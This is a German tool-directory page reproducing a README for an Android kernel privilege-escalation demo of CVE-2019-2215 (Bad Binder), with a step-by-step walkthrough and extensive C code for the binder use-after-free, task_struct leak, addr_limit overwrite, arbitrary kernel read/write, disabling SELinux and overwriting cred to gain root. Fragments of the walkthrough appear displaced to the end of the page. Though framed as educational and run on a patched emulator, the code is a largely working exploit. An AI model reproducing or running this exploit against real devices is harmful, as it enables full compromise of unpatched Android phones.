Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
android-badbinder-demo — Demo CVE-2019-2215 (Bad Binder) für Android Q | Kitploit
Tools/GitHubGitHub/i-redbyte/android-badbinder-demo
Android-SicherheitPrivilege EscalationExploitationLernen & BildungBinary-Exploitation
GitHubi-redbyte/android-badbinder-demo

android-badbinder-demo

Demo CVE-2019-2215 (Bad Binder) für Android Q

Repository anzeigen
514vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2019-2215 (Bad Binder) — Analyse des Exploits

Dieses Repository ist ein kleines Testprojekt zur Untersuchung der Schwachstelle
CVE-2019-2215 (Bad Binder) und zum Schreiben eines funktionierenden Exploit-Prototyps für Android mit einer einfachen grafischen Oberfläche in Kotlin/Jetpack Compose.

In der README:

  1. Beschreibe ich die Einrichtung der Umgebung und den Start des Exploit-Prototyps.
  2. Analysiere ich die Hauptschritte der Ausnutzung von CVE-2019-2215 und ordne sie den spezifischen Funktionen im C-Code zu.
  3. Liste ich separat die Schwierigkeiten auf, auf die ich unterwegs gestoßen bin, und wie ich sie gelöst habe.

Fertiges APK (GitHub Actions)

Im Repository ist ein GitHub Actions Workflow eingerichtet, der bei jedem Push/PR das Projekt mit dem Befehl ./gradlew assembleDebug erstellt und das fertige badbinder-debug.apk als Artefakt veröffentlicht.

Herunterladen kann man es so:

  1. Öffnen Sie den Reiter Actions im Repository.
  2. Wählen Sie den gewünschten Workflow-Lauf aus.
  3. Finden Sie unten auf der Seite den Abschnitt Artifacts und holen Sie das Archiv badbinder-debug-apk mit dem erstellten APK.

Dies wurde für den Komfort gemacht, falls man die App einfach testen möchte, ohne eine lokale Umgebung aufzusetzen.


Kurz zur Schwachstelle

CVE-2019-2215 ist ein Use-After-Free (UAF) in der Binder-IPC-Subsystem des Android-Kernels.

Vereinfacht:

  • im Kernel existiert eine Struktur struct binder_thread, die einen Thread beschreibt, der Binder-Aufrufe ausführt;
  • diese Struktur kann freigegeben (free) werden, bleibt aber bei einer bestimmten Aufruffolge weiterhin in den Wartelisten (waitqueue);
  • später versucht der Kernel, mit dem bereits freigegebenen Speicher in remove_wait_queue zu arbeiten, was ein klassisches UAF-Szenario eröffnet;
  • wenn man die Umgebung und die folgenden Allokationen sorgfältig auswählt, kann man den Kernel dazu bringen, an beliebigen Adressen zu lesen/schreiben, und dann Kernel-Berechtigungen und anschließend Root im Userspace zu erlangen.

Eine detailliertere theoretische Analyse habe ich anhand folgender Materialien durchgeführt:

  1. https://cloudfuzz.github.io/android-kernel-exploitation/
  2. https://dayzerosec.com/blog/2019/11/07/analyzing-androids-cve-2019-2215-dev-binder-uaf.html
  3. https://hernan.de/blog/tailoring-cve-2019-2215-to-achieve-root/

1. Einrichtung der Umgebung und Start des Exploit-Prototyps

1.1. Auswahl und Vorbereitung des virtuellen Geräts

Laut Aufgabenstellung wird empfohlen, ein AVD mit Android 10.0 (Q) x86_64-Image zu verwenden.
Ich habe Folgendes gemacht:

  1. In Android Studio ein AVD erstellt (Pixel-Gerät, Android 10 (Q), x86_64).
  2. Sichergestellt, dass im Image Binder aktiviert ist und das Gerät /dev/binder vorhanden ist.
  3. USB/ADB-Debugging aktiviert und den Zugriff auf das Gerät überprüft:
    root@kitploit:~
    adb shell
    ls -l /dev/binder
    

An diesem Punkt bin ich auf eine unangenehme Tatsache gestoßen:
die aktuellen AVD-Images werden bereits mit einem gepatchten Kernel ausgeliefert, in dem CVE-2019-2215 geschlossen ist. Das heißt, man kann auf dem aktuellen offiziellen Emulator tatsächlich kein Root erlangen – der Exploit scheitert in späteren Phasen oder gewährt einfach keine Rechteerhöhung.

Letztendlich verwende ich das AVD als Trainingsumgebung zur Nachbildung der Exploit-Logik:

  • Ich erhalte dieselben Sequenzen von Systemaufrufen,
  • beobachte die UAF-Versuche, Adressleckage und den Versuch, addr_limit zu überschreiben,
  • aber die finale „Root-Erlangung“ auf dem aktuellen, gepatchten Kernel funktioniert natürlich nicht (und das ist zu erwarten).

Dies ist ein wichtiger Hinweis: Der gesamte Code und der Bericht unten sind zu Lehrzwecken, nicht „kampferprobt“.


1.2. Erstellung der Android-App mit nativen Exploit

Ich habe eine kleine Android-App erstellt:

  • UI in Kotlin + Jetpack Compose,
  • Native-Teil in C über JNI – der eigentliche Exploit-Code,
  • Kommunikation zwischen ihnen über einen JNI-Callback, sodass Strings aus dem C-Code direkt in die UI gelangen.

Die wichtigsten Schritte:

  1. Ein normales Projekt in Android Studio erstellt (Kotlin, minimale Unterstützung für Android 10).

  2. NDK und CMake eingebunden.

  3. Eine native Datei mit dem Exploit hinzugefügt (die Datei cve-2019-2215.c mit den Funktionen leak_task_struct, overwrite_addr_limit usw.).

  4. In CMakeLists.txt die Erstellung von libcve-2019-2215.so hinzugefügt.

  5. In MainActivity:

    root@kitploit:~
    init {
        System.loadLibrary("cve-2019-2215")
    }
    
    external fun runNativeExploit(): String
    external fun setNativeLogger(logger: NativeLogger)
    
  6. Auf der Kotlin-Seite ein ExploitViewModel erstellt, das das Interface NativeLogger implementiert und alle Nachrichten in einem StateFlow<List<String>> sammelt. Das UI abonniert diesen Flow und zeigt das Log in einem „Terminal“ an.

Beim Start der Activity rufe ich setNativeLogger(viewModel) auf, damit der native Code ein Objekt erhält, an das er Strings senden kann.


1.3. Start und Nutzungsszenario

  1. Ich erstelle und installiere die App:

    root@kitploit:~
    ./gradlew installDebug
    
  2. Starte das AVD und die App.

  3. Auf dem Bildschirm sehe ich ein „Terminal“ und einen Button RUN EXPLOIT.

  4. Beim Drücken:

    • Kotlin ruft runNativeExploit() im Hintergrundthread auf.
    • Der C-Code beginnt, alle Exploit-Phasen auszuführen und die Schritte zu protokollieren.
    • Über den JNI-Callback gelangt das Log in das ViewModel und wird im Compose-UI angezeigt.

Auf einem echten verwundbaren Kernel würde ich am Ende etwas erwarten wie:

root@kitploit:~
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...

Auf dem aktuellen Android 10-Emulator passiert das natürlich nicht, aber der Rest – die Leckage von task_struct, der Versuch, addr_limit zu überschreiben, das Berechnen von cred und kernel_base – funktioniert als „Szenario“, was für die Aufgabe ausreicht.


2. Analyse der Hauptschritte des Exploits und Zuordnung zum Code

Unten ist das logische Schema des Exploits mit Verweis auf die spezifischen C-Funktionen.

2.1. Allgemeines Exploit-Szenario

Der grobe Plan ist:

  1. Ein UAF auf dem Objekt struct binder_thread erzeugen und nutzen, um die Adresse der task_struct des eigenen Prozesses zu leaken (leak_task_struct).
  2. Mit einem zweiten UAF-Zyklus und sorgfältig ausgewählten Strukturen das Feld addr_limit in der task_struct überschreiben (overwrite_addr_limit) – dies hebt die Einschränkung zwischen User-Space- und Kernel-Space-Adressen für spätere copy_to_user / copy_from_user auf.
  3. Mit Pipes beliebiges Lesen/Schreiben von Kernel-Speicher implementieren (arb_read / arb_write).
  4. Damit die cred des aktuellen Prozesses und die Kernel-Basis finden (verifying), dann:

Parallel dazu habe ich einen JNI-Logger integriert, damit all diese Phasen direkt im UI sichtbar sind.


2.2. Phase 1 – Leckage der task_struct-Adresse (leak_task_struct)

Die Schlüsselfunktion:

root@kitploit:~
void leak_task_struct() {
    android_log("[*] Starting leak_task_struct...");

    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(0, &cpu_set);
    ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
    assert(ret >= 0);
    ...
}

Was die Funktion macht:

  1. Fixiert den Thread auf CPU 0 (sched_setaffinity), um das Verhalten des Kernel-Allokators vorhersagbarer zu machen. Dies verbessert die Stabilität der UAF-Ausnutzung.

  2. Öffnet /dev/binder, erstellt einen epoll-Deskriptor:

    root@kitploit:~
    fd = open("/dev/binder", O_RDONLY);
    epfd = epoll_create(1000);
    

    Der Binder-Deskriptor wird beim epoll registriert:

    root@kitploit:~
    epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
    
  3. Bereitet ein Array struct iovec iov_buffers[IOVEC_N] vor und allokiert Speicher:

    root@kitploit:~
    spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    

    Wichtig ist, dass die unteren 32 Bit der Adresse Nullen sind:

    root@kitploit:~
    if (((long) spinner & 0xffffffff) != 0) {
        android_log("[!] mmap returned wrong address!");
        return;
    }
    

    Dies entspricht der Technik aus den Exploit-Artikeln: Der Kernel interpretiert einen Teil unserer Daten als Strukturen mit Zeigern, und eine solche „schön ausgerichtete“ Adressierung erleichtert den Missbrauch.

    Dann werden die Felder iov_buffers[0xa] und so gefüllt, dass der Kernel im Moment des UAF ein Speicherstück in die Pipe kopiert, in dem ein Zeiger auf liegt.

Ergebnis: Ich habe die Adresse der task_struct im Kernel, was für die nachfolgenden Schritte entscheidend ist.


2.3. Phase 2 – Überschreiben von addr_limit (overwrite_addr_limit)

addr_limit in der task_struct bestimmt, welche Adressen ein Prozess überhaupt als User-Space-Zeiger an Systemaufrufe übergeben kann. Wenn man es auf einen nahezu maximalen Wert setzt, unterscheidet der Kernel nicht mehr zwischen User-Space-Adressen und Adressen in seinem eigenen Adressraum – und viele scheinbar sichere copy_(to|from)_user-Operationen werden zu beliebigen Kernel-Lese-/Schreibvorgängen.

Die Funktion:

root@kitploit:~
void overwrite_addr_limit() {
    android_log("[*] Starting overwrite_addr_limit...");
    ...
}

folgt einem sehr ähnlichen Muster:

  1. Wieder CPU-Affinität festlegen, /dev/binder öffnen, epoll erstellen.

  2. iov_buffers vorbereiten, diesmal jedoch mit anderem Schema:

    root@kitploit:~
    iov_buffers[0xa].iov_base = spinner;
    iov_buffers[0xa].iov_len = 0x1;
    iov_buffers[0xb].iov_base = read_buffer0;
    iov_buffers[0xb].iov_len = 0x8 * 5;
    iov_buffers[0xc].iov_base = read_buffer0;
    iov_buffers[0xc].iov_len = 0x8;
    
  3. Statt einer Pipe wird socketpair(AF_UNIX, SOCK_STREAM, ...) verwendet:

    root@kitploit:~
    int socket[2];
    ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
    write(socket[1], "A", 1);
    
  4. Vorbereiten der msghdr-Struktur für recvmsg:

    root@kitploit:~
    struct msghdr msg;
    msg.msg_iov = iov_buffers;
    msg.msg_iovlen = IOVEC_N;
    ...
    
  5. Im Kindprozess (nach fork()) wird wieder die UAF-Race gestartet:

    root@kitploit:~
    if (!fork()) {
        ...
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        long data1234[] = {1, 0x13371337, 0x28,
                           task_struct + ADDR_LIMIT_OFFSET, 0x8};
        ret = write(socket[1], data1234, 0x28);
    
        data1234[0] = data1234[1] = data1234[2] = data1234[3]
            = 0xfffffffffffffffe;
        ret = write(socket[1], data1234, 0x8);
        ...
    }
    

2.4. Phase 3 – Beliebiges Lesen/Schreiben und Überprüfung (arb_read, arb_write, verifying)

Nach dem Überschreiben von addr_limit nutze ich Pipes, um gewöhnliche Lese-/Schreiboperationen in die Möglichkeit zu verwandeln, an Kernel-Adressen zu lesen und zu schreiben.

Primitive arb_read / arb_write

root@kitploit:~
unsigned long arb_read(unsigned long addr) {
    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    unsigned long data = 0;
    write(pipe_fd[1], (void *)&addr, 8);
    read(pipe_fd[0], &data, 8);

    return data;
}

Analog kehrt arb_write die Kopierrichtung um.

Überprüfung und Suche nach Schlüsselstrukturen

Die Funktion verifying():

root@kitploit:~
void verifying() {
    android_log("[*] Starting verification...");

    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    write(pipe_fd[1], (void *) task_struct, 0x1000);
    read(pipe_fd[0], buf, 0x1000);

    assert(getpid() == *(int *) (buf + PID_OFFSET));
    android_log("[!] Arbitrary rw verified with PID :D");

    cred = *(unsigned long *) (buf + CRED_OFFSET);
    kernel_leak = *(unsigned long *) (buf + 0x70);
    kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}

Hier:

  • lese ich den Inhalt der task_struct aus dem Kernel;
  • stelle anhand von PID_OFFSET sicher, dass es wirklich meine Struktur ist;
  • extrahiere den Zeiger auf cred und einen Adress-Leak aus dem Kernel (kernel_leak);
  • berechne kernel_base mit Korrektur um einen fest codierten Offset.

2.5. Phase 4 – SELinux und Root-Eskalation

Der finale Teil in runNativeExploit:

root@kitploit:~
selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");
  • ich berechne die Adresse der globalen Variable selinux_enforcing und setze sie auf null/permissiven Zustand.

Danach – Überschreiben von cred:

root@kitploit:~
memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);

Ich überschreibe buchstäblich die Capability-Felder und einige andere Felder von cred mit maximalen Werten, um dem Prozess volle Rechte zu geben.

Letzte Überprüfung:

root@kitploit:~
if (getuid() == 0) {
    android_log("[+] Root escalation successful!");
} else {
    android_log("[!] Root escalation failed!");
}

Auf einem echten verwundbaren Kernel würde ich hier uid=0 erwarten, auf einem gepatchten Image logischerweise eine deaktivierte Eskalation.


2.6. JNI und Logging im UI

Um alles in Echtzeit zu sehen, habe ich eine Zwischenschicht hinzugefügt:

  • JNI_OnLoad speichert JavaVM* und die PID des Hauptprozesses;
  • setNativeLogger nimmt ein Kotlin-Objekt entgegen, das die Methode onLog(String) implementiert, und speichert es als GlobalRef;
  • android_log/android_log_hex schreiben in logcat und rufen send_to_ui auf, das die Zeichenkette an Kotlin liefert, wo sie vom ExploitViewModel abgeholt und im Compose-„Terminal“ angezeigt wird.

Wichtig: send_to_ui filtert Kindprozesse anhand der PID – das Aufrufen von JNI aus einem Prozess nach fork() ohne exec() ist unsicher.


3. Schwierigkeiten und deren Lösung

3.1. Gepatchte AVD-Images

Ich bin darauf gestoßen, dass es derzeit keine offiziellen AVD-Images für Android 10 mit ungepatchtem Kernel gibt, in denen CVE-2019-2215 noch vorhanden ist.

Statt des „kampferprobten“ Root-Erlangens habe ich mich auf Folgendes konzentriert:

  • Nachbildung der Exploit-Logik,
  • Analyse der UAF-Sequenz,
  • Visualisierung aller Schritte in einer Android-App.

Bei Bedarf kann dieser Code auf ein echtes Gerät mit altem, ungepatchtem Kernel portiert werden, das geht jedoch über den Rahmen der Aufgabe hinaus.


3.2. Feste Offsets und Abhängigkeit von der Kernel-Version

Ich musste explizit festlegen:

  • ADDR_LIMIT_OFFSET, PID_OFFSET, CRED_OFFSET;
  • Offsets für kernel_leak und selinux_enforcing;
  • Konstante zur Berechnung von kernel_base.

Ich habe bewusst darauf verzichtet, die Suche nach diesen Werten zu automatisieren, um den Projektumfang nicht aufzublähen. Im Bericht gehe ich davon aus, dass es sich um ein Lehrbeispiel für eine bestimmte Kernel-Version handelt, nicht um einen universellen Exploit.


3.3. Races und Stabilität

Die Verwendung von fork(), epoll_ctl, BINDER_THREAD_EXIT und verschiedenen Timings ist ein Minenfeld. Ich bin darauf gestoßen, dass ohne:

  • sched_setaffinity,
  • kleine sleep-Aufrufe,
  • und aggressive asserts entlang des Pfades

der Exploit extrem instabil wird.
Ich habe die Sequenz nach und nach so abgestimmt, dass sie auf einer verwundbaren Konfiguration vorhersagbar ist und auf einer gepatchten korrekt in den letzten Schritten „scheitert“.


3.4. JNI und fork()

Ich bin auch darauf gestoßen, dass Versuche, aus dem Kindprozess direkt in die JVM zu loggen, zu seltsamem Verhalten führen.
Ich musste mich an die JNI-Regeln erinnern und eine PID-Überprüfung hinzufügen, um nur aus dem Hauptprozess mit der JVM zu kommunizieren.

Kompromiss: Ein Teil der Nachrichten ist nur in logcat sichtbar, im UI wird nur das angezeigt, was vom Elternprozess kommt. Das hat mich zufriedengestellt, da im Rahmen der Aufgabe die wesentlichen Kontrollpunkte wichtiger sind als jeder Debug-print.


3.5. UI

Als Bonus für eine kreativere Umsetzung der Aufgabe habe ich eine für die Analyse praktische Oberfläche erstellt:

  • ich habe einen Bildschirm mit einer „Konsole“ im Stil eines dunklen Terminals mit grünem Text implementiert;
  • das Log wird zeilenweise mit automatischem Scrollen zur letzten Ausgabe angezeigt;
  • verschiedene Nachrichtentypen ([+], [*], [!], [C]) sind für bessere Lesbarkeit farblich hervorgehoben;
  • das Ergebnis (Success / Failed) wird in einem separaten Block angezeigt.

Dies vereinfacht die Wahrnehmung der Arbeit des nativen Codes enorm: Statt trockenem logcat sehe ich alles an einem Ort, direkt in der App.


Fazit

Als Ergebnis der Arbeit an der Aufgabe habe ich:

  1. Eine AVD-Umgebung und eine Android-App mit nativem Teil vorbereitet, die den Exploit für CVE-2019-2215 implementiert.
  2. Schritt für Schritt die Ausnutzung analysiert:
    • UAF in Binder und Leckage der task_struct,
    • Überschreiben von addr_limit,
    • Aufbau der Primitiven für beliebiges Lesen/Schreiben,
    • Suche nach cred, Deaktivierung von SELinux und Versuch der Rechteerweiterung.
  3. Bin auf eine Reihe realer technischer Probleme gestoßen (Kernel-Patches, Versionsabhängigkeiten, Races, JNI-Besonderheiten) und habe sie nacheinander gelöst oder umgangen.

Das Projekt ist kompakt, spiegelt aber im Wesentlichen den gesamten Lebenszyklus einer echten Kernel-Schwachstelle wider: von der theoretischen Beschreibung und dem Lesen von Artikeln bis zur praktischen Implementierung und Integration in eine lebende Android-App.

P.S.

Alternative Methode zum Starten des Exploits

Im Verzeichnis cve-2019-2215 gibt es ein Makefile, das es ermöglicht, eine native Binärdatei (x86_64) zu erstellen und direkt im AVD über ADB auszuführen. Falls eine aarch64-Version benötigt wird, kann diese separat erstellt werden.

  1. Native Binärdatei erstellen:
    root@kitploit:~
    cd cve-2019-2215
    make
    
  2. Binärdatei ins AVD kopieren, z.B. nach /sdcard/cve-2019-2215
  3. ADB-Shell starten und die Binärdatei ausführen:
    root@kitploit:~
    adb shell
    cd /sdcard/cve-2019-2215
    chmod +x cve-2019-2215
    ./cve-2019-2215
    
  4. Nach erfolgreichem Exploit kann man die Root-Erlangung überprüfen:
    root@kitploit:~
    id
    
    erwartete Ausgabe:
    root@kitploit:~
    uid=0(root) gid=0(root) groups=0(root)
    
Tool herunterladen
  • SELinux deaktivieren (selinux_enforcing = 0),
  • die cred-Felder überschreiben, um Root zu werden und volle Capabilities zu erhalten (runNativeExploit).
iov_buffers[0xb]
task_struct
  • Erstellt eine Pipe und setzt deren Puffergröße auf 0x1000:

    root@kitploit:~
    int pipe_fd[2];
    ret = pipe(pipe_fd);
    fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
    fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
    
  • Dann folgt die klassische UAF-Race. Ich starte einen Kindprozess:

    root@kitploit:~
    if (!fork()) {
        android_log("\t[C] Long sleep to ensure accuracy...");
        sleep(1);
    
        android_log("\t[*] Triggering UAF");
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        android_log("\t[C] Removing useless data from pipe...");
        ret = read(pipe_fd[0], buf, 0x1000);
        ...
        _exit(0);
    }
    
    • Der Elternteil führt den weiteren Code aus.
    • Im Kindprozess führt epoll_ctl(..., EPOLL_CTL_DEL, ...) zur Freigabe des zugehörigen binder_thread im Kernel, aber er taucht weiterhin in der Wartestruktur auf – das ist der UAF-Punkt.
  • Im Elternprozess rufe ich auf:

    root@kitploit:~
    ioctl(fd, BINDER_THREAD_EXIT, NULL);      // Freigabe von binder_thread
    ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
    

    In diesem Moment nutzt writev aufgrund des UAF den bereits freigegebenen Speicher als iovec-Strukturen und interpretiert im Wesentlichen denselben Speicherbereich, in dem zuvor binder_thread lag, nun als eine Reihe von Zeigern/Längen. Als Nebeneffekt wird ein Fragment des Kernel-Speichers in unsere Pipe kopiert.

  • Schließlich lese ich aus der Pipe:

    root@kitploit:~
    read(pipe_fd[0], buf, 0x1000);
    task_struct = *(unsigned long *)(buf + 0xe8);
    android_log_hex("[+] task_struct found", task_struct);
    

    Der Offset 0xe8 ist für die spezifische Kernel-Version gewählt – an dieser Stelle im geleakten Speicherblock befindet sich der Zeiger auf die task_struct meines Prozesses.

  • Der Elternteil gibt wie zuvor binder_thread frei und ruft recvmsg auf:

    root@kitploit:~
    ioctl(fd, BINDER_THREAD_EXIT, NULL);
    ret = recvmsg(socket[0], &msg, MSG_WAITALL);
    

    Aufgrund des UAF und der geschickten Manipulation der Strukturen interpretiert der Kernel letztendlich task_struct + ADDR_LIMIT_OFFSET als User-Buffer-Adresse und kopiert den Inhalt der gesendeten Struktur dorthin (unseren Wert 0xfffffffffffffffe), wodurch addr_limit in der task_struct überschrieben wird.

  • Ins Log schreibe ich:

    root@kitploit:~
    android_log("[!] addr_limit overwrite done.");